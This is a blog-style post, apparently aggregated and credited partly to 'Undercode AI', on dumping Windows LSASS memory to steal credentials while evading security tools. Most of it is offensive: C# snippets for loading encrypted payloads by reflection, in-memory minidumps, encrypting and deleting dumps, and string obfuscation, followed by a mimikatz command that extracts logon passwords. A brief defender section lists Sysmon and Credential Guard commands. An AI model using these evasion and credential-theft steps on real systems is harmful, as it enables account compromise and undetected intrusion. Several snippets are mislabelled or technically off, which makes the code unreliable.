Stealth Mode: Dumping LSASS Without a Trace

2025-02-16

Dumping the LSASS (Local Security Authority Subsystem Service) process is a common technique used in penetration testing and red teaming to extract credentials from a target system. However, this activity is often flagged by security tools, making evasion techniques crucial. Below is a detailed write-up on how to dump LSASS while evading detection, along with practical code snippets and commands.

Techniques Used:

1. Reflection-Based Obfuscation:

• This technique uses reflection to dynamically load and execute code, making it harder for static analysis tools to detect malicious intent.

  var assembly = Assembly.Load(encryptedPayload); 
  var method = assembly.EntryPoint; 
  method.Invoke(null, null); 
  

2. Minimal Permissions on LSASS Process Handle:

• By requesting only the necessary permissions (e.g., PROCESS_VM_READ), you reduce the chances of triggering alerts.

  var handle = OpenProcess(ProcessAccessFlags.VMRead, false, processId); 
  

3. In-Memory Dump:

• Dumping LSASS directly into memory avoids writing to disk, reducing the risk of detection by file-based antivirus solutions.

  var minidump = MiniDumpWriteDump(lsassHandle, processId, memoryStream, MiniDumpType.WithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); 
  

4. Use of SafeFileHandle and DangerousGetHandle:

• These methods help manage handles securely while avoiding common detection patterns.

  using (var handle = new SafeFileHandle(lsassHandle, true)) 
  { 
  var rawHandle = handle.DangerousGetHandle(); 
  } 
  

5. Dynamic Memory Access Using Reflection:

• Accessing memory dynamically through reflection makes it harder for security tools to trace the activity.

  var memoryRegion = Marshal.AllocHGlobal(bufferSize); 
  ReadProcessMemory(processHandle, baseAddress, memoryRegion, bufferSize, out bytesRead); 
  

6. Encryption and Compression of Dump File:

• Encrypting and compressing the dump file ensures that its contents are not easily readable if intercepted.

  var encryptedData = AesEncrypt(dumpData, encryptionKey); 
  var compressedData = Compress(encryptedData); 
  

7. File Cleanup After Dump Creation:

• Removing the dump file immediately after creation minimizes the chances of detection.

  File.Delete(dumpFilePath); 
  

8. Character Obfuscation:

• Obfuscating strings and function names helps evade signature-based detection.

  var obfuscatedString = Deobfuscate("1A2B3C4D"); 
  

What Undercode Say

Dumping LSASS is a powerful technique for credential extraction, but it comes with significant risks of detection. By employing advanced evasion techniques such as reflection-based obfuscation, in-memory dumping, and encryption, attackers can reduce their footprint and avoid triggering security alerts. However, defenders should also be aware of these tactics and implement robust monitoring and detection mechanisms.

For defenders, consider using tools like Sysmon to monitor process creation and handle access. The following commands can help:
– Sysmon Configuration:

sysmon -accepteula -i sysmonconfig.xml 

– Monitor LSASS Access:

Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=10; ProcessName='lsass.exe'} 

– Enable Credential Guard:

bcdedit /set {current} vsmlaunchtype auto 

For attackers, always test your techniques in a controlled environment before deploying them in real-world scenarios. Tools like Mimikatz can be used to verify the effectiveness of your dump:

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" 

By understanding both offensive and defensive strategies, you can better secure your systems or improve your red teaming skills.

For further reading, visit: mrvar0x.com

References:

Hackers Feeds, Undercode AI